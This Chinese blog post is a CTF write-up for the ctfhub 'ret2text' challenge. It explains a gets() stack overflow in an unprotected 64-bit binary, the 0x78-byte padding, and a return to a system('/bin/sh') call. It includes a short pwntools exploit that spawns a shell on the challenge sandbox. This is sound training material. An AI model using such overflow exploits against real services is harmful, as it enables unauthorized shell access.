首页 > 其他分享 >ctfhub---ret2text

ctfhub---ret2text

时间:2023-09-13 14:45:45浏览次数:33  
标签:ret2text 反编译 函数 ctfhub --- 地址 main

一、程序初步分析

 没有开任何保护,64位程序

二、IDA反编译

 main函数中的gets函数没有对输入限制长度,存在栈溢出

 

secure函数中出现了system("/bin/sh"),让main函数的返回地址rip指向该函数即可

 

 查看main函数中的输入v4,距离ebp0x70,加上64位ebp共8个字节,覆盖返回地址需填充0x78个字节

函数调用流程如下

 

利用gdb反编译查看一下system函数的地址,从lea指令传递函数参数开始算起,即返回地址rip应指向地址0x4007b8

disassemble命令:反汇编某段代码,查看某段代码的汇编指令

 

三、EXP

from pwn import * #调用pwntools库

p=remote('challenge-19ff1036d92721f4.sandbox.ctfhub.com',27123)

sys_add=0x4007b8
payload=b'a'*(0x78)+p64(sys_add)

p.sendline(payload)

p.interactive()

 

 

标签:ret2text,反编译,函数,ctfhub,---,地址,main
From: https://www.cnblogs.com/mylight/p/17699649.html

相关文章

  • 09-程序的构成
           ......
  • 无涯教程-JavaScript - YIELDDISC函数
    描述YIELDDISC函数返回打折证券的年收益。语法YIELDDISC(settlement,maturity,pr,redemption,[basis])争论Argument描述Required/OptionalSettlement证券的结算日期。证券结算日期是指在发行日期之后将证券交易给买方的日期。RequiredMaturity证券的到期......
  • 使用python-dotenv进行高效的环境管理
    1python-dotenv项目简介项目地址:https://github.com/theskumar/python-dotenv功能描述:从.env文件读取键值对,并将它们添加到环境变量中。核心理念:在项目中,可以将所有使用的环境变量写入.env文件,然后以键值对的方式读取作为环境变量。2用法2.1.env文件内容示例#这......
  • Financial - 期权 - 希腊值Greeks
    期权的价格与标的资产价格、标的资产波动率、期权执行价格、期权到期时间、利率等因素有关,通常用希腊字母(Greeks)表示期权价格对于上述影响因素变化的敏感程度,是期权交易中重要的风险管理指标。常用希腊字母及其含义如下表所示:名称符号中文含义数学表达式(以call为例)D......
  • 03-开发环境介绍_交互模式的使用_IDLE介绍和使用
       ......
  • Ego微商小程序 - 接口测试
    接口测试设计流程1.需求分析与评审2.接口文档解析分析接口文档的核心内容API文档:Ego:Ego商城小程序,只存放项目前后端源码文件(gitee.com)3.设计测试用例与评审设计思路介绍一下你简历项目中的XXX项目的接口用例如何设计?答:下面是单接口-正向功能用例 ......
  • nignx配置https ---SSL
    1、首先,准备好ssl证书2、修改NGINX配置具体配置,参考如下:server{listen443ssl;#域名或者Nginx外网IPserver_name172.168.3.167;charsetutf8;#sslon;#安全证书地址ssl_certificate/etc/nginx/conf.d/cert/server.crt;ssl_certificat......
  • 【学习笔记】Self-attention
    最近想学点NLP的东西,开始看BERT,看了发现transformer知识丢光了,又来看self-attention;看完self-attention发现还得再去学学wordembedding...推荐学习顺序是:wordembedding、self-attention/transformer、BERT(后面可能还会补充新的)我是看的李宏毅老师的课程+pdf,真的很爱他的课........
  • 无涯教程-JavaScript - YIELD函数
    描述YIELD函数返回定期付息的证券的收益率。使用YIELD计算债券收益率。语法YIELD(settlement,maturity,rate,pr,redemption,frequency,[basis])争论Argument描述Required/OptionalSettlement证券的结算日期。证券结算日期是指在发行日期之后将证券交易给买方......
  • 关于 ui5-middleware-fe-mockserver Mock Server 的使用介绍
    @sap-ux/ui5-middleware-fe-mockserver是一个用于SAPUI5本地开发的中间件,它的作用是模拟后端服务,以便在没有实际后端服务器的情况下进行前端开发和调试。这个MockServer具有丰富的功能,可以帮助开发人员模拟不同的后端场景,包括模拟数据、模拟OData服务、模拟HTTP请求等等......